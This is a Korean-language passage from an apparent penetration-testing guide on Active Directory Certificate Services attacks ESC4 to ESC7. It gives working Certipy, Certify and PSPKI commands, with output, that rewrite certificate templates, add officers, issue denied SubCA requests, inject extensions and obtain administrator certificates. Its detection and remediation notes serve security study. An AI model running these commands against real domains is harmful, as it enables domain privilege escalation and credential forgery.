Certipy๋Š” ๋‹จ์ผ ๋ช…๋ น์œผ๋กœ ์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ์˜ ๊ตฌ์„ฑ์„ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋กœ, Certipy๋Š” ๊ตฌ์„ฑ์„ ๋ฎ์–ด์จ์„œ ESC1์— ์ทจ์•ฝํ•˜๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ๋˜ํ•œ ์ด์ „ ๊ตฌ์„ฑ์„ ์ €์žฅํ•˜๊ธฐ ์œ„ํ•ด -save-old parameter to save the old configuration๋ฅผ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ๊ณต๊ฒฉ ํ›„ ๊ตฌ์„ฑ์„ ๋ณต์›ํ•˜๋Š” ๋ฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old

# Exploit ESC1
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local

# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json

์ทจ์•ฝํ•œ PKI ๊ฐ์ฒด ์ ‘๊ทผ ์ œ์–ด - ESC5

์„ค๋ช…

์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ ๋ฐ ์ธ์ฆ ๊ธฐ๊ด€(CA)์„ ๋„˜์–ด์„œ๋Š” ์—ฌ๋Ÿฌ ๊ฐ์ฒด๋ฅผ ํฌํ•จํ•˜๋Š” ์ƒํ˜ธ ์—ฐ๊ฒฐ๋œ ACL ๊ธฐ๋ฐ˜ ๊ด€๊ณ„์˜ ๊ด‘๋ฒ”์œ„ํ•œ ๋ง์€ ์ „์ฒด AD CS ์‹œ์Šคํ…œ์˜ ๋ณด์•ˆ์— ์˜ํ–ฅ์„ ๋ฏธ์น  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ฐ์ฒด๋“ค์€ ๋ณด์•ˆ์— ์ค‘๋Œ€ํ•œ ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋‹ค์Œ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค:

  • CA ์„œ๋ฒ„์˜ AD computer object, ์ด๋Š” S4U2Self ๋˜๋Š” S4U2Proxy์™€ ๊ฐ™์€ ๋ฉ”์ปค๋‹ˆ์ฆ˜์œผ๋กœ ํƒˆ์ทจ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • CA ์„œ๋ฒ„์˜ RPC/DCOM ์„œ๋ฒ„.
  • ํŠน์ • ์ปจํ…Œ์ด๋„ˆ ๊ฒฝ๋กœ CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM> ๋‚ด์˜ ๋ชจ๋“  ํ•˜์œ„ AD ๊ฐ์ฒด ๋˜๋Š” ์ปจํ…Œ์ด๋„ˆ. ์ด ๊ฒฝ๋กœ์—๋Š” Certificate Templates container, Certification Authorities container, NTAuthCertificates object, Enrollment Services Container ๋“ฑ(ํฌํ•จ๋˜์ง€๋งŒ ์ด์— ๊ตญํ•œ๋˜์ง€ ์•Š์Œ)์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค.

์ €๊ถŒํ•œ ๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋Ÿฌํ•œ ํ•ต์‹ฌ ๊ตฌ์„ฑ์š”์†Œ ์ค‘ ์–ด๋А ํ•˜๋‚˜๋ผ๋„ ์ œ์–ดํ•˜๊ฒŒ ๋˜๋ฉด PKI ์‹œ์Šคํ…œ์˜ ๋ณด์•ˆ์ด ์†์ƒ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6

์„ค๋ช…

์ด ์ฃผ์ œ๋Š” CQure Academy post์— ์„ค๋ช…๋œ ๋‚ด์šฉ๊ณผ ํ•จ๊ป˜ Microsoft๊ฐ€ ๋ช…์‹œํ•œ EDITF_ATTRIBUTESUBJECTALTNAME2 ํ”Œ๋ž˜๊ทธ์˜ ์˜ํ–ฅ๋„ ๋‹ค๋ฃน๋‹ˆ๋‹ค. ์ด ๊ตฌ์„ฑ์ด Certification Authority (CA)์— ํ™œ์„ฑํ™”๋˜๋ฉด Active Directoryยฎ์—์„œ ์ƒ์„ฑ๋œ ์š”์ฒญ์„ ํฌํ•จํ•œ ๋ชจ๋“  ์š”์ฒญ์— ๋Œ€ํ•ด subject alternative name์— ์‚ฌ์šฉ์ž ์ •์˜ ๊ฐ’์„ ํฌํ•จํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ๊ฒฐ๊ณผ์ ์œผ๋กœ ์ด ์„ค์ •์€ ๊ณต๊ฒฉ์ž๊ฐ€ ๋„๋ฉ”์ธ authentication์šฉ์œผ๋กœ ์„ค์ •๋œ any templateโ€”ํŠนํžˆ ํ‘œ์ค€ User ํ…œํ”Œ๋ฆฟ์ฒ˜๋Ÿผ ๊ถŒํ•œ์ด ๋‚ฎ์€ ์‚ฌ์šฉ์ž ๋“ฑ๋ก์— ์—ด๋ ค ์žˆ๋Š” ํ…œํ”Œ๋ฆฟโ€”์„ ํ†ตํ•ด ๋“ฑ๋ก(enroll)ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ๊ทธ ๊ฒฐ๊ณผ, ๊ณต๊ฒฉ์ž๋Š” ์ธ์ฆ์„œ๋ฅผ ํš๋“ํ•˜์—ฌ ๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž๋‚˜ ๋„๋ฉ”์ธ ๋‚ด์˜ any other active entity๋กœ ์ธ์ฆํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

์ฐธ๊ณ : certreq.exe์˜ -attrib "SAN:" ์ธ์ˆ˜๋ฅผ ํ†ตํ•ด Certificate Signing Request(CSR)์— alternative names๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๋ฐฉ์‹(โ€œName Value Pairsโ€๋ผ ๋ถˆ๋ฆผ)์€ ESC1์—์„œ SANs๋ฅผ ์•…์šฉํ•˜๋Š” ์ „๋žต๊ณผ ๋Œ€์กฐ์ ์ž…๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์„œ ์ฐจ์ด๋Š” ๊ณ„์ • ์ •๋ณด๊ฐ€ ์–ด๋–ป๊ฒŒ ์บก์Аํ™”๋˜๋Š”์ง€์— ์žˆ์œผ๋ฉฐโ€”ํ™•์žฅ(extension)์ด ์•„๋‹ˆ๋ผ ์ธ์ฆ์„œ ์†์„ฑ(attribute)์— ํฌํ•จ๋œ๋‹ค๋Š” ์ ์ž…๋‹ˆ๋‹ค.

์•…์šฉ

์ด ์„ค์ •์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋ ค๋ฉด ์กฐ์ง์—์„œ๋Š” certutil.exe๋กœ ๋‹ค์Œ ๋ช…๋ น์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"

์ด ์ž‘์—…์€ ๋ณธ์งˆ์ ์œผ๋กœ remote registry access๋ฅผ ์‚ฌ์šฉํ•˜๋ฏ€๋กœ, ๋Œ€์•ˆ์  ์ ‘๊ทผ ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ๊ณผ ๊ฐ™์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags

Certify์™€ Certipy ๊ฐ™์€ ๋„๊ตฌ๋“ค์€ ์ด ์ž˜๋ชป๋œ ๊ตฌ์„ฑ์„ ๊ฐ์ง€ํ•˜๊ณ  ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# Detect vulnerabilities, including this one
Certify.exe find

# Exploit vulnerability
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local

์ด๋Ÿฌํ•œ ์„ค์ •์„ ๋ณ€๊ฒฝํ•˜๋ ค๋ฉด, domain administrative ๊ถŒํ•œ ๋˜๋Š” ๋™๋“ฑํ•œ ๊ถŒํ•œ์„ ๋ณด์œ ํ•˜๊ณ  ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•  ๋•Œ, ๋‹ค์Œ ๋ช…๋ น์„ ์–ด๋А ์›Œํฌ์Šคํ…Œ์ด์…˜์—์„œ๋‚˜ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

ํ™˜๊ฒฝ์—์„œ ์ด ๊ตฌ์„ฑ์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๋ ค๋ฉด ํ”Œ๋ž˜๊ทธ๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ œ๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

Warning

2022๋…„ 5์›” ๋ณด์•ˆ ์—…๋ฐ์ดํŠธ ์ดํ›„, ์ƒˆ๋กœ ๋ฐœ๊ธ‰๋˜๋Š” certificates์—๋Š” requesterโ€™s objectSid property๋ฅผ ํฌํ•จํ•˜๋Š” security extension์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. ESC1์˜ ๊ฒฝ์šฐ ์ด SID๋Š” ์ง€์ •๋œ SAN์—์„œ ํŒŒ์ƒ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ESC6์˜ ๊ฒฝ์šฐ SID๋Š” SAN์ด ์•„๋‹ˆ๋ผ **requesterโ€™s objectSid**๋ฅผ ๋ฐ˜์˜ํ•ฉ๋‹ˆ๋‹ค.
ESC6์„ ์•…์šฉํ•˜๋ ค๋ฉด ์‹œ์Šคํ…œ์ด ESC10(Weak Certificate Mappings)์— ์ทจ์•ฝํ•ด์•ผ ํ•˜๋ฉฐ, ์ด๋Š” SAN over the new security extension์„ ์šฐ์„ ์‹œํ•ฉ๋‹ˆ๋‹ค.

์ทจ์•ฝํ•œ Certificate Authority ์ ‘๊ทผ ์ œ์–ด - ESC7

๊ณต๊ฒฉ 1

์„ค๋ช…

Certificate Authority์˜ ์ ‘๊ทผ ์ œ์–ด๋Š” CA ๋™์ž‘์„ ๊ด€๋ฆฌํ•˜๋Š” ์ผ๋ จ์˜ ๊ถŒํ•œ์œผ๋กœ ์œ ์ง€๋ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ถŒํ•œ์€ certsrv.msc์— ์ ‘๊ทผํ•ด CA๋ฅผ ์šฐํด๋ฆญํ•œ ๋‹ค์Œ properties๋ฅผ ์„ ํƒํ•˜๊ณ  Security ํƒญ์œผ๋กœ ์ด๋™ํ•˜๋ฉด ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ ๊ถŒํ•œ์€ PSPKI ๋ชจ๋“ˆ์„ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ช…๋ น์œผ๋กœ ์—ด๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access

์ด๋Š” ์ฃผ์š” ๊ถŒํ•œ์ธ ManageCA ๋ฐ **ManageCertificates**๊ฐ€ ๊ฐ๊ฐ โ€œCA administratorโ€(CA ๊ด€๋ฆฌ์ž) ๋ฐ โ€œCertificate Managerโ€(์ธ์ฆ์„œ ๊ด€๋ฆฌ์ž) ์—ญํ• ๊ณผ ์—ฐ๊ด€๋จ์„ ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค.

Abuse

์ธ์ฆ ๊ธฐ๊ด€์—์„œ ManageCA ๊ถŒํ•œ์„ ๊ฐ€์ง„ ์ฃผ์ฒด๋Š” PSPKI๋ฅผ ์‚ฌ์šฉํ•ด ์›๊ฒฉ์œผ๋กœ ์„ค์ •์„ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—๋Š” ๋ชจ๋“  ํ…œํ”Œ๋ฆฟ์—์„œ SAN ์ง€์ • ํ—ˆ์šฉ์„ ์œ„ํ•ด EDITF_ATTRIBUTESUBJECTALTNAME2 ํ”Œ๋ž˜๊ทธ๋ฅผ ํ† ๊ธ€ํ•˜๋Š” ๊ฒƒ์ด ํฌํ•จ๋˜๋ฉฐ, ์ด๋Š” ๋„๋ฉ”์ธ ๊ถŒํ•œ ์ƒ์Šน์˜ ํ•ต์‹ฌ ์š”์†Œ์ž…๋‹ˆ๋‹ค.

์ด ๊ณผ์ •์€ PSPKIโ€™s Enable-PolicyModuleFlag cmdlet์„ ์‚ฌ์šฉํ•˜๋ฉด ๋‹จ์ˆœํ™”๋˜์–ด GUI๋ฅผ ์ง์ ‘ ์กฐ์ž‘ํ•˜์ง€ ์•Š๊ณ ๋„ ์„ค์ •์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ManageCertificates ๊ถŒํ•œ์„ ์†Œ์ง€ํ•˜๋ฉด ๋ณด๋ฅ˜ ์ค‘์ธ ์š”์ฒญ์„ ์Šน์ธํ•  ์ˆ˜ ์žˆ์–ด โ€˜CA ์ธ์ฆ์„œ ๊ด€๋ฆฌ์ž ์Šน์ธโ€™ ๋ณดํ˜ธ ์žฅ์น˜๋ฅผ ์‚ฌ์‹ค์ƒ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Certify์™€ PSPKI ๋ชจ๋“ˆ์˜ ์กฐํ•ฉ์„ ์‚ฌ์šฉํ•˜๋ฉด ์ธ์ฆ์„œ๋ฅผ ์š”์ฒญ, ์Šน์ธ ๋ฐ ๋‹ค์šด๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
[...]
[*] CA Response      : The certificate is still pending.
[*] Request ID       : 336
[...]

# Use PSPKI module to approve the request
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest

# Download the certificate
Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336

๊ณต๊ฒฉ 2

์„ค๋ช…

Warning

์ด์ „ ๊ณต๊ฒฉ์—์„œ Manage CA ๊ถŒํ•œ์„ ์‚ฌ์šฉํ•ด EDITF_ATTRIBUTESUBJECTALTNAME2 ํ”Œ๋ž˜๊ทธ๋ฅผ ํ™œ์„ฑํ™”ํ•˜์—ฌ ESC6 ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ–ˆ์ง€๋งŒ, ์ด๋Š” CA ์„œ๋น„์Šค(CertSvc)๋ฅผ ์žฌ์‹œ์ž‘ํ•  ๋•Œ๊นŒ์ง€ ์•„๋ฌด๋Ÿฐ ํšจ๊ณผ๊ฐ€ ์—†๋‹ค. ์‚ฌ์šฉ์ž๊ฐ€ Manage CA ์•ก์„ธ์Šค ๊ถŒํ•œ์„ ๊ฐ€์ง€๋ฉด ํ•ด๋‹น ์‚ฌ์šฉ์ž๋Š” ์„œ๋น„์Šค๋ฅผ ์žฌ์‹œ์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค. ํ•˜์ง€๋งŒ ์ด๊ฒƒ์ด ์‚ฌ์šฉ์ž๊ฐ€ ์„œ๋น„์Šค๋ฅผ ์›๊ฒฉ์œผ๋กœ ์žฌ์‹œ์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•˜์ง€๋Š” ์•Š๋Š”๋‹ค. ๋˜ํ•œ ๋Œ€๋ถ€๋ถ„์˜ ํŒจ์น˜๋œ ํ™˜๊ฒฝ์—์„œ๋Š” 2022๋…„ 5์›” ๋ณด์•ˆ ์—…๋ฐ์ดํŠธ ๋•Œ๋ฌธ์— ESC6๊ฐ€ ๋ฐ”๋กœ ๋™์ž‘ํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ๋‹ค.

๋”ฐ๋ผ์„œ ์—ฌ๊ธฐ์—์„œ๋Š” ๋‹ค๋ฅธ ๊ณต๊ฒฉ์„ ์ œ์‹œํ•œ๋‹ค.

์ „์ œ ์กฐ๊ฑด:

  • ์˜ค์ง ManageCA ๊ถŒํ•œ
  • Manage Certificates ๊ถŒํ•œ (ManageCA์—์„œ ๋ถ€์—ฌ ๊ฐ€๋Šฅ)
  • ์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ **SubCA**๋Š” ํ™œ์„ฑํ™”๋˜์–ด์•ผ ํ•จ (ManageCA์—์„œ ํ™œ์„ฑํ™” ๊ฐ€๋Šฅ)

์ด ๊ธฐ๋ฒ•์€ Manage CA ๋ฐ Manage Certificates ์•ก์„ธ์Šค ๊ถŒํ•œ์„ ๊ฐ€์ง„ ์‚ฌ์šฉ์ž๊ฐ€ ์‹คํŒจํ•œ ์ธ์ฆ์„œ ์š”์ฒญ์„ ๋ฐœํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์‚ฌ์‹ค์— ์˜์กดํ•œ๋‹ค. ์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ **SubCA**๋Š” ESC1์— ์ทจ์•ฝํ•˜์ง€๋งŒ, ๊ด€๋ฆฌ์ž๋งŒ ํ…œํ”Œ๋ฆฟ์— ๋“ฑ๋กํ•  ์ˆ˜ ์žˆ๋‹ค. ๋”ฐ๋ผ์„œ ์‚ฌ์šฉ์ž๋Š” **SubCA**์— ๋“ฑ๋ก์„ ์š”์ฒญํ•  ์ˆ˜ ์žˆ๊ณ  ์ด ์š”์ฒญ์€ ๊ฑฐ๋ถ€๋˜์ง€๋งŒ, ์ดํ›„ ๋งค๋‹ˆ์ €์— ์˜ํ•ด ๋ฐœ๊ธ‰๋  ์ˆ˜ ์žˆ๋‹ค.

์•…์šฉ

์‚ฌ์šฉ์ž๋ฅผ ์ƒˆ๋กœ์šด officer๋กœ ์ถ”๊ฐ€ํ•˜๋ฉด ์ž์‹ ์—๊ฒŒ Manage Certificates ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•  ์ˆ˜ ์žˆ๋‹ค.

certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'John' on 'corp-DC-CA'

SubCA ํ…œํ”Œ๋ฆฟ์€ -enable-template ๋งค๊ฐœ๋ณ€์ˆ˜๋กœ CA์—์„œ ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋กœ, SubCA ํ…œํ”Œ๋ฆฟ์€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
## If SubCA is not there, you need to enable it

# Enable SubCA
certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'corp-DC-CA'

์ด ๊ณต๊ฒฉ์˜ ์ „์ œ ์กฐ๊ฑด์„ ์ถฉ์กฑํ–ˆ๋‹ค๋ฉด, ์šฐ๋ฆฌ๋Š” SubCA ํ…œํ”Œ๋ฆฟ์„ ๊ธฐ๋ฐ˜์œผ๋กœ ์ธ์ฆ์„œ๋ฅผ ์š”์ฒญํ•˜๋Š” ๊ฒƒ์œผ๋กœ ์‹œ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ์š”์ฒญ์€ ๊ฑฐ๋ถ€๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค, ํ•˜์ง€๋งŒ ์šฐ๋ฆฌ๋Š” private key๋ฅผ ์ €์žฅํ•˜๊ณ  request ID๋ฅผ ๊ธฐ๋กํ•ฉ๋‹ˆ๋‹ค.

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 785
Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate

์šฐ๋ฆฌ์˜ Manage CA ๋ฐ Manage Certificates ๊ถŒํ•œ์œผ๋กœ, ca ๋ช…๋ น๊ณผ -issue-request <request ID> ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์‹คํŒจํ•œ ์ธ์ฆ์„œ๋ฅผ ๋ฐœ๊ธ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

๋งˆ์ง€๋ง‰์œผ๋กœ, ์šฐ๋ฆฌ๋Š” req ๋ช…๋ น๊ณผ -retrieve <request ID> ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐœ๊ธ‰๋œ ์ธ์ฆ์„œ๋ฅผ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 785
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'

๊ณต๊ฒฉ 3 โ€“ Manage Certificates Extension Abuse (SetExtension)

์„ค๋ช…

๊ณ ์ „์ ์ธ ESC7 ๋‚จ์šฉ(EDITF ์†์„ฑ ํ™œ์„ฑํ™” ๋˜๋Š” ๋ณด๋ฅ˜ ์ค‘์ธ ์š”์ฒญ ์Šน์ธ)์— ๋”ํ•ด, Certify 2.0์€ Enterprise CA์—์„œ Manage Certificates (a.k.a. Certificate Manager / Officer) ์—ญํ• ๋งŒ์œผ๋กœ๋„ ๊ฐ€๋Šฅํ•œ ์ƒˆ๋กœ์šด ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ๋ฅผ ๊ณต๊ฐœํ–ˆ์Šต๋‹ˆ๋‹ค.

ICertAdmin::SetExtension RPC ๋ฉ”์„œ๋“œ๋Š” Manage Certificates ๊ถŒํ•œ์„ ๊ฐ€์ง„ ๋ชจ๋“  ์ฃผ์ฒด๊ฐ€ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•ด๋‹น ๋ฉ”์„œ๋“œ๋Š” ์ „ํ†ต์ ์œผ๋กœ ํ•ฉ๋ฒ•์ ์ธ CA๊ฐ€ ๋ณด๋ฅ˜ ์ค‘(pending) ์š”์ฒญ์˜ ํ™•์žฅ(extension)์„ ์—…๋ฐ์ดํŠธํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜์—ˆ์ง€๋งŒ, ๊ณต๊ฒฉ์ž๋Š” ์ด๋ฅผ ์•…์šฉํ•ด ์Šน์ธ ๋Œ€๊ธฐ ์ค‘์ธ ์š”์ฒญ์— ๋น„๊ธฐ๋ณธ(non-default) ์ธ์ฆ์„œ ํ™•์žฅ(์˜ˆ: 1.1.1.1๊ณผ ๊ฐ™์€ ์ปค์Šคํ…€ Certificate Issuance Policy OID)์„ ๋ง๋ถ™์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋Œ€์ƒ ํ…œํ”Œ๋ฆฟ์ด ํ•ด๋‹น ํ™•์žฅ์— ๋Œ€ํ•ด ๊ธฐ๋ณธ๊ฐ’์„ ์ •์˜ํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ, ์š”์ฒญ์ด ๋ฐœ๊ธ‰๋  ๋•Œ CA๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์„ค์ •ํ•œ ๊ฐ’์„ ๋ฎ์–ด์“ฐ์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๊ฒฐ๊ณผ์ ์œผ๋กœ ๋ฐœ๊ธ‰๋œ ์ธ์ฆ์„œ์—๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์„ ํƒํ•œ ํ™•์žฅ์ด ํฌํ•จ๋˜๋ฉฐ, ์ด๋Š” ๋‹ค์Œ์„ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • ๋‹ค๋ฅธ ์ทจ์•ฝํ•œ ํ…œํ”Œ๋ฆฟ์˜ Application / Issuance Policy ์š”๊ตฌ์‚ฌํ•ญ์„ ๋งŒ์กฑ์‹œ์ผœ ๊ถŒํ•œ ์ƒ์Šน์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Œ.
  • ์ถ”๊ฐ€์ ์ธ EKUs ๋˜๋Š” ์ •์ฑ…์„ ์ฃผ์ž…ํ•˜์—ฌ ์ œ3์ž ์‹œ์Šคํ…œ์—์„œ ์ธ์ฆ์„œ์— ์˜ˆ๊ธฐ์น˜ ์•Š์€ ์‹ ๋ขฐ๋ฅผ ๋ถ€์—ฌํ•  ์ˆ˜ ์žˆ์Œ.

์š”์•ฝํ•˜๋ฉด, ์ด์ „์— ESC7์˜ โ€œ๋œ ๊ฐ•๋ ฅํ•œโ€ ์ ˆ๋ฐ˜์œผ๋กœ ๊ฐ„์ฃผ๋˜๋˜ Manage Certificates ๊ถŒํ•œ์€ ์ด์ œ CA ๊ตฌ์„ฑ ๋ณ€๊ฒฝ์ด๋‚˜ ๋” ์—„๊ฒฉํ•œ Manage CA ๊ถŒํ•œ์„ ์š”๊ตฌํ•˜์ง€ ์•Š๊ณ ๋„ ์ „์ฒด ๊ถŒํ•œ ์ƒ์Šน ๋˜๋Š” ์žฅ๊ธฐ ์ง€์†์„ฑ ํ™•๋ณด์— ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Certify 2.0์œผ๋กœ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ ์•…์šฉํ•˜๊ธฐ

  1. ๋ณด๋ฅ˜ ์ƒํƒœ(pending)๋กœ ๋‚จ์„ ์ธ์ฆ์„œ ์š”์ฒญ์„ ์ œ์ถœํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๊ด€๋ฆฌ์ž ์Šน์ธ์ด ํ•„์š”ํ•œ ํ…œํ”Œ๋ฆฟ์„ ์‚ฌ์šฉํ•ด ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
# Take note of the returned Request ID
  1. ์ƒˆ๋กœ์šด manage-ca ๋ช…๋ น์„ ์‚ฌ์šฉํ•ด ๋ณด๋ฅ˜ ์ค‘์ธ ์š”์ฒญ์— ์ปค์Šคํ…€ ํ™•์žฅ์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค:
Certify.exe manage-ca --ca SERVER\\CA-NAME \
--request-id 1337 \
--set-extension "1.1.1.1=DER,10,01 01 00 00"  # fake issuance-policy OID

If the template does not already define the Certificate Issuance Policies extension, the value above will be preserved after issuance.

  1. ์š”์ฒญ์„ ๋ฐœ๊ธ‰ํ•ฉ๋‹ˆ๋‹ค(๋งŒ์•ฝ ๊ท€ํ•˜์˜ ์—ญํ• ์ด Manage Certificates ์Šน์ธ ๊ถŒํ•œ๋„ ํฌํ•จํ•˜๋Š” ๊ฒฝ์šฐ) ๋˜๋Š” ์šด์˜์ž๊ฐ€ ์Šน์ธํ•  ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ฆฝ๋‹ˆ๋‹ค. ๋ฐœ๊ธ‰๋˜๋ฉด ์ธ์ฆ์„œ๋ฅผ ๋‹ค์šด๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค:
Certify.exe request-download --ca SERVER\\CA-NAME --id 1337
